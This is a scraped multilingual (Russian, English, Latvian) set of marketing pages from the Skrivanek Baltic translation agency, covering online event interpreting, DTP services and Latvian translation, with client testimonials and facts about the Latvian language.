ОРГАНИЗАЦИИ ОНЛАЙН-МЕРОПРИЯТИЯ? Мы подготовим для вас предложение и предоставим консультацию. Отправить запрос УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Are you planning to organise a virtual conference where the attendees speak several foreign languages? Our professionals will help you! - Published: 2021-09-20 - Modified: 2025-07-02 - URL: https://skrivanek.lv/tiessaistes-pasakumu-rikosana/ - Translation Priorities: Optional The world is changing, and we are changing with it. For some time now, face-to-face meetings, seminars and conferences have been replaced by life online. Even award ceremonies and corporate events are held online! In order to have a successful event online, it is worth seeking professional assistance. Skrivanek Baltic is an experienced partner in the organisation of various events, and currently specialises in online events on the Zoom platform. With us, you can be sure that your event will run smoothly, just like a face-to-face meeting. And, most importantly, our experience allows us to operate freely in a multinational, multilingual environment. Are you planning to organise a virtual conference where the attendees speak several foreign languages? Are there a number of important company meetings coming up that need to be attended by both your employees and representatives of your partners? Have you got an important guest who only speaks their native language, but needs to be understood by all employees in a Zoom meeting? Maybe you just want to lift the spirits of your amazing team and host an evening party, where everyone stays in their own homes while partaking in the fun together online? Our professionals will help you in any of the above-mentioned situations and create an effective event scenario for any occasion. Moderating any event can be a challenge, but it is particularly difficult in virtual events, where there is no real face-to-face eye contact, and no audience reaction. We offer professional event moderation or, if you prefer to do it yourself, instructions on how to host an online event. You don't have to worry about the technical side of things, we'll take care of it for you - we'll organise the online site and, if necessary, divide the participants into separate groups. We provide both consecutive and simultaneous interpreting on Zoom. If you want to record the event, we'll provide this too - you'll receive video and audio files of the event content as needed, as well as an online link to the event's video and soundtrack. Video and audio are provided in an already edited format, with no changes to the content, but the unnecessary pauses at the beginning or end of the recording are removed. If you use a simultaneous interpreter, we can include one language of your choice in the video. As language professionals, we provide translation and interpreting services for more than 110 languages - we make communication easier than ever! If necessary, we will prepare a report on participants' activity, including the duration of their connection, and provide a text transcript of the event chat room. And if anyone is worried about their on-screen performance, we'll add the option for Zoom Live to enhance the participant's video! FREQUENTLY ASKED QUESTIONS Skrivanek Baltic is a certified translation agency, which has been operating and offering language services of the highest quality in Latvia since 2003. Skrivanek is one of the major language services provider in the world, with more than 25 years of experience. We currently have nearly 50 branches in various countries: USA, Austria, Belgium, Bulgaria, Czech Republic, Estonia, Lithuania, Poland, Slovakia, Slovenia, and Germany. The Skrivanek Baltic Language School was opened in 2007, giving both children and adults an opportunity to improve or acquire new foreign language skills with the help of highly qualified and knowledgeable lecturers, as well as to receive detailed information about languages. We provide great variety of language solutions – translation and interpreting services, localisation services, text adaptation, copywriting, DTP and language training. Interpreting is provided at conferences and business meetings, as well as during court proceedings. Translating includes specialised and general translations across a variety of industries. Both of them are language experts, but the difference lies in that translators provide written translations, while interpreters provide oral translations, either consecutive or simultaneous. NEED AN INTERPRETER OR HELP ORGANISING AN ONLINE EVENT? We will prepare a tailored solution and consult you on your subject of interest. Send inquiry MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > The specialists will take care of your text’s graphic design to match the original. Comprehensive text processing before printing. - Published: 2021-09-14 - Modified: 2025-07-02 - URL: https://skrivanek.lv/pakalpojumi/dtp-tekstu-grafiska-apstrade/ - Translation Priorities: Optional TECHNOLOGIES AND FORMATS We are able to process your project using the following text editors and graphic design software: MS Word PDF documents Illustrator MS Excel Corel Visio MS PowerPoint QuarkXPress Photoshop Adobe PageMaker InterLeaf Lotus WordPro Adobe FrameMaker MS Project InDesign TEAM AND EXPERIENCE The specialists in our team will not only take care of your text’s graphic design, but also process photos, pictures, tables, etc. as necessary to match the original. We also ensure comprehensive text processing before printing. The company employs experienced project managers, technicians, software engineers, examiners, language specialists and qualified translators, who are native speakers of the country for which the product is intended. COMPREHENSIVE SERVICES For example, we will provide you with a translation of a user manual according to the original, including all illustrations, tables and appendices, as well as in other file formats. We can fulfil orders on both PC and Macintosh platforms. FREQUENTLY ASKED QUESTIONS We provide great variety of language solutions – translation and interpreting services, localisation services, text adaptation, copywriting, DTP and language training. Interpreting is provided at conferences and business meetings, as well as during court proceedings. Translating includes specialised and general translations across a variety of industries. Whenever possible, we work with the original documents electronically, without making any changes to style or formatting. When necessary, we guarantee that the translation of the client’s document looks just like the original or format it according to the client’s instructions with the help of our DTP team. It can be in any electronic format – we can handle many formats. If your document is not available electronically, send it to us as a photo. NEED A COMPREHENSIVE SOLUTION OR CONSULTATION? We will prepare a tailored solution and consult you on your subject of interest. Send inquiry MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Опытные специалисты Skrivanek Baltic готовы выполнить графическую обработку ваших текстов (DTP) в полном соответствии с оригиналом. - Published: 2021-09-14 - Modified: 2024-01-03 - URL: https://skrivanek.lv/pakalpojumi/dtp-tekstu-grafiska-apstrade/ ТЕХНОЛОГИИ И ФОРМАТЫ Заказанный Вами проект мы можем оформить в следующих текстовых редакторах и графических программах: MS Word документ PDF Illustrator MS Excel Corel Visio MS PowerPoint QuarkXPress Photoshop Adobe PageMaker InterLeaf Lotus WordPro Adobe FrameMaker MS Project InDesign КОМАНДА И ОПЫТ В команде DTP Skrivanek работают специалисты, способные выполнить не только графическую обработку текста, но и в случае необходимости обработать в соответствии с оригиналом фотографии, изображения, таблицы и т. п. Также мы выполняем полную предпечатную обработку текстов. На предприятии работают опытные руководители проектов, технические работники, инженеры программного обеспечения, испытатели, лингвисты, а также квалифицированные переводчики, выполняющие перевод конкретного продукта на свой родной язык. КОМПЛЕКСНЫЕ УСЛУГИ По Вашему заказу мы составим, например, перевод инструкции по эксплуатации в полном соответствии с оригиналом, включая все иллюстрации, таблицы и приложения, в том числе в других форматах файлов. Мы можем обеспечить выполнение заказов на платформах PC и Macintosh. ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ Мы выполняем устный и письменный перевод и предлагаем широкий спектр языковых решений. Наши устные переводчики работают на конференциях и деловых встречах, а также оказывают поддержку в ходе судебных процессов. Письменные переводы включают специализированные и общие переводы в различных областях. Кроме того, мы выполняем локализацию и адаптацию, занимаемся копирайтингом, компьютерной версткой и преподаванием языков. Если это необходимо, мы гарантируем, что переведенный документ будет выглядеть точь-в-точь как оригинал. Кроме того, есть возможность оформить текст в соответствии с требованиями клиента — с этой целью к работе привлекается команда специалистов по компьютерной верстке. По мере возможности мы работаем с оригиналами документов в электронном формате, не изменяя их стиль и форматирование. Мы принимаем все электронные форматы. Если документ не доступен в электронном виде, пришлите нам его изображение или посетите наш офис на ул. Лачплеша, 87с. НЕОБХОДИМО КОМПЛЕКСНОЕ РЕШЕНИЕ ИЛИ КОНСУЛЬТАЦИЯ? Мы подготовим для вас предложение и предоставим консультацию. Отправить запрос УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Переводчик с латышского – мы предлагаем языковые решения более чем в 300 языковых комбинациях! Связывайтесь с нами! - Published: 2021-05-20 - Modified: 2024-11-13 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-latviesu-valoda/ - Translation Priorities: Optional Гарантия качества и конфиденциальности, подтвержденная сертификатами ISOНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 3000 лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамКаждый год наше бюро переводит свыше 16 миллионов слов ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА ЛАТЫШСКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; детские лагеря; другие языковые услуги по запросу клиента. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Или закажите онлайн-консультацию по переводу с/на латышский язык прямо сейчас! ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА ЛАТЫШСКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; детские лагеря; другие языковые услуги по запросу клиента. Гарантия качества и конфиденциальности, подтвержденная сертификатами ISOНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 3000 лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамКаждый год наше бюро переводит свыше 16 миллионов слов НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ПЕРЕВОДЧИК С ЛАТЫШСКОГО НА РУССКИЙ В Латвии чаще всего русско латышский переводчик и латышско русский переводчик необходим, чтобы переводить юридические документы, подготавливать маркетинговые материалы предприятий, локализировать домашние страницы. Смело связывайтесь с нами, коллеги Skrivanek помогут Вам. ЛАТЫШСКО РУССКИЙ ПЕРЕВОДЧИК И ПЕРЕВОДЫ С ЛАТЫШСКОГО ЯЗЫКА НА ДРУГИЕ ЯЗЫКИ. Чаще всего наши клиенты заказывают переводы дипломов об окончании школы на английский, немецкий, французский и на скандинавские языки для поступления в Университеты других стран. Переводы медицинских документов для лечения за границей. РУССКО ЛАТЫШСКИЙ ПЕРЕВОДЧИК Русско латышский переводчик чаще всего необходим при переводе различных заявлений, паспортов, свидетельств о рождении или браке, домашних страниц компаний, договоров. ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – чешский; чешский – латышский; английский – латышский; латышский – английский; эстонский – чешский; чешский – эстонский; литовский – чешский; чешский – литовский; русский – чешский; чешский – русский; польский – чешский; чешский – польский; английский – чешский; чешский – английский; украинский – чешский; чешский – украинский; немецкий – чешский; чешский – немецкий; французский – чешский; чешский – французский; испанский – чешский; чешский – испанский; итальянский – чешский; чешский – итальянский; датский – чешский; чешский – датский; шведский – чешский, чешский – шведский; норвежский – чешский; чешский – норвежский; финский – чешский, чешский – финский и др. ФАКТЫ О ЛАТЫШСКОМ ЯЗЫКЕ Латы́шский язы́к (самоназвание — latviešu valoda) — один из двух восточнобалтийских языков, сохранившихся до наших дней (наряду с литовским). Дифференциация между литовским и латышским языками началась предположительно в I веке н. э. , а к V—VII векам эти языки окончательно разделились. В V—VI веках предки латышей стали активно продвигаться на север, занимая территории, ранее заселённые прибалтийско-финскими племенами. В связи с этим латышский начал контактировать с прибалтийско-финскими языками и восточно-славянскими диалектами. Изначально летты были лишь одним из восточно-балтийских племён. Вместе с ними Латвию населяли земгалы, селы и курши, а также прибалто-финский народ ливов. Все эти народы были со временем ассимилированы леттами в языковом отношении, а их языки оставили свой след в латышских диалектах. В XII—XIII веках земли современных Латвии и Эстонии были завоёваны Орденом меченосцев. Правящей элитой стали немцы, латышский был языком сельского населения. Ситуация поменялась с Реформацией, когда духовенство стало проявлять интерес к латышскому языку. Историю латышского литературного языка делят на три периода: старолатышский (senā latviešu valoda; XVI — первая половина XIX века). Латышский начинает использоваться немецкими священниками в религиозных текстах, на латышский переводится Библия, появляются первые словари и грамматикa; младолатышский (1850—1890-е годы). Становление литературного языка в эпоху национального пробуждения; современный (1890-е — настоящее время). Наиболее ранним сохранившимся документом на латышском языке считается католическая повестка, которая была напечатана в 1507 году в Лейпциге. Она содержит рукописные отрывки “молитвы Господней”. Первая книга на латышском была издана в 1525 году, однако до наших дней она не дошла. Первый сохранившийся текст относится к 1550 году — это отрывок, включённый в книгу С. Мюнстера «Космография». Со второй половины XVI века начинают появляться школы с обучением на латышском, в XVII веке такие школы уже существуют как в городе, так и в селе. П. Дини подчёркивает, что школы сыграли исключительную роль в становлении латышского национального самосознания. В 1685—1694 годах немецкий пастор Э. Глюк переводит на латышский Библию. В 1822 году К. Ф. Ватсоном была основана первая газета на латышском — Latweeschu Awises (Latviešu Avīzes в современной орфографии) «Латышская газета». В настоящее время на латышском языке издается более 200 различных газет общим годовым тиражом ~ 110 миллионов экземпляров. Также выпускается более 300 журналов и печатается 2 500 книг общим тиражом более 67 миллионов экземпляров. Латыши чтят свою культуру, язык и традиции. Даже под влиянием многих факторов, им удается сохранить не только язык, но и культуру. Языковой код: ISO 639-1: lv. ОНЛАЙН ПЕРЕВОДЧИК Онлайн переводчик позволяет мгновенно переводить слова, фразы и веб-страницы с различных языков на различные языки. ИСТОРИЯ Делая возможным межъязыковое общение людей, перевод с самого начала выполнял важнейшую социальную функцию. Распространение письменных переводов открыло людям широкий доступ к культурным достижениям других народов, сделало возможным взаимодействие и взаимообогащение литератур и культур. Всего несколько лет спустя после рождения компьютера появились первые программы Машинного перевода. Датой рождения МП принято считать 1947 г. Развитию машинного перевода мешал низкий уровень вычислительной техники, и её очень высокая стоимость. Постепенное проникновение в нашу жизнь сначала персональных компьютеров, а затем и интернета, привело к стремительному развитию этой отрасли. Сегодня машинный перевод активно используется в самых разных сферах человеческой деятельности. Благодаря массовой информации роль перевода в жизни человечества неуклонно возрастает. Переводческие связи сегодня охватывают почти все сферы человеческой деятельности. Движение информационных потоков не знает ни времени, ни границ. ПЛЮСЫ И МИНУСЫ МАШИННОГО ПЕРЕВОДА Онлайн переводчик - это сервис, переводящий слова с одного языка на другой и обратно. Основная задача онлайн-переводчиков — быстрый и точный перевод искомого слова или фразы. В основе машинного перевода – систематические правила, и поэтому иногда при таком переводе невозможно избежать неточностей. При использовании автоматизированного перевода не всегда получаются переводы идеального качества, но для получения основного содержания или создания первичного наброска перевода он может оказаться очень выгодным и экономным. Некоторые языки еще требуют доработки. ЧТО ТАКОЕ ОНЛАЙН ПЕРЕВОДЧИК? Онлайн переводчик - это сервис, переводящий слова с одного языка на другой и обратно. Основная задача онлайн-переводчиков — быстрый и точный перевод искомого слова или фразы. Онлайн-переводчик можно назвать одними из самых популярных сервисов нашего века. Каждый житель планеты используя онлайн переводчик, в среднем переводит по пять слов в день. Онлайн переводчик является комплексным решением в вопросах перевода и поиска словарных значений слов, а также каждодневным ненавязчивым инструментом в вашей работе или учебе. ЧТО ДЕЛАЕТ ОНЛАЙН ПЕРЕВОДЧИК? Онлайн переводчик делает всё для того, чтобы все языки мира стали более понятными, а способы получения перевода – легкими и простыми. Благодаря онлайн переводчику любой человек может перевести текст на любой язык за считанные минуты, имея под рукой электронное устройство и интернет-соединение. ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Dažādu dokumentu un pasākumu tulkojumi latviešu valodā. Saņemiet bezmaksas cenas piedāvājumu tikai 15 minūtēs! - Published: 2021-05-20 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-latviesu-valoda/ - Translation Priorities: Optional TULKOJUMI LATVIEŠU VALODĀ / TULKOT LATVIEŠU VALODĀ CIK MAKSĀ TULKOŠANA LATVIEŠU VALODĀ? Katram pasūtījumam cena tiek noteikta individuāli. Cenu veido vairākas būtiskas komponentes – izpildes termiņš, nozares specifika, terminoloģijas pieejamība, koriģēšana, formatēšana, attēlu, rasējumu, grafiku apstrāde, kā arī klienta pasūtītie papildu pakalpojumi (notariāls apliecinājums, dokumentu apliecināšana ar apostille u. c. ) VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu cenrādis no/uz latviešu valodu parasti ir neatņemama mūsu sadarbības līguma daļa, turklāt mēs vienmēr detalizēti informējam par tulkojuma cenu pirms projekta realizācijas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar spēkā esošo cenrādi, ņemot vērā vārdu skaitu avota tekstā, atkārtojumus tajā un citus parametrus. Lai saņemtu piedāvājumu, vienkārši nosūtiet mums materiālu, kuru vēlaties tulkot. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM NO/UZ LATVIEŠU VALODU: dokumentu tulkojumi latviešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināti tulkojumi; lokalizācija; mājaslapu tulkojumi latviešu valodā; mašīntulkošana latviešu valodā ar pēcrediģēšanu; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi latviešu valodā; latviešu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus latviešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI LATVIEŠU VALODĀ / TULKOT LATVIEŠU VALODĀ CIK MAKSĀ TULKOŠANA LATVIEŠU VALODĀ? Katram pasūtījumam cena tiek noteikta individuāli. Cenu veido vairākas būtiskas komponentes – izpildes termiņš, nozares specifika, terminoloģijas pieejamība, koriģēšana, formatēšana, attēlu, rasējumu, grafiku apstrāde, kā arī klienta pasūtītie papildu pakalpojumi (notariāls apliecinājums, dokumentu apliecināšana ar apostille u. c. ) VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu cenrādis no/uz latviešu valodu parasti ir neatņemama mūsu sadarbības līguma daļa, turklāt mēs vienmēr detalizēti informējam par tulkojuma cenu pirms projekta realizācijas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar spēkā esošo cenrādi, ņemot vērā vārdu skaitu avota tekstā, atkārtojumus tajā un citus parametrus. Lai saņemtu piedāvājumu, vienkārši nosūtiet mums materiālu, kuru vēlaties tulkot. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM NO/UZ LATVIEŠU VALODU: dokumentu tulkojumi latviešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināti tulkojumi; lokalizācija; mājaslapu tulkojumi latviešu valodā; mašīntulkošana latviešu valodā ar pēcrediģēšanu; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi latviešu valodā; latviešu valodas kursi. Meklējiet valodu risinājumus latviešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt LATVIEŠU VALODA FAKTOS Latviešu valodas saknes sniedzas sanskritā; tā nāk no indoeiropiešu valodu saimes un ir viena no senākajām Eiropas valodām. Šobrīd latviešu valodai radniecīga ir tikai lietuviešu valoda, un šīs divas valodas veido atsevišķu atzaru Eiropas valodu klasifikācijā. Latviešu valodai ir trīs pamata dialekti – lībiskais, vidus dialekts un augšzemnieku dialekts. Latviešu literārās valodas pamatā ir vidus dialekts. Latviešu valoda ir dzimtā valoda apmēram 1,3 miljoniem cilvēku, galvenokārt Latvijā, kur tā ir vienīgā valsts valoda. Aptuveni 400 000 latviešu valodas pratēju dzīvo ārvalstīs – Krievijā, ASV, Kanādā, Austrālijā u. c. valstīs. Protams, latviešu valodu kā otro valodu lieto aptuveni pusmiljons citu tautību Latvijas iedzīvotāju. Tas, ka par spīti dažādu tuvu un tālu tautu iebrukumam latviešu valoda ir saglabājusies, ir patiesi pārsteidzoši. Izskaidrojumu šim unikālajam fenomenam mēs varētu rast latviešu tradīcijās un tautas kultūrā. Šeit varam pieminēt Kr. Barona no 1894. –1915. gadam savāktās aptuveni 200 000 tautas dainas, kas iekļautas UNESCO pasaules kultūras mantojumā. Latviešu alfabētā ir 33 burti. Latviešu valodas vārdos uzsvars gandrīz vienmēr ir pirmajā zilbē. Ir trīs uzsvara intonācijas: stieptā, krītošā un lauztā. Pirmā latviešu valodā iespiestā grāmata „Katoļu katķisms” tika izdota Viļņā 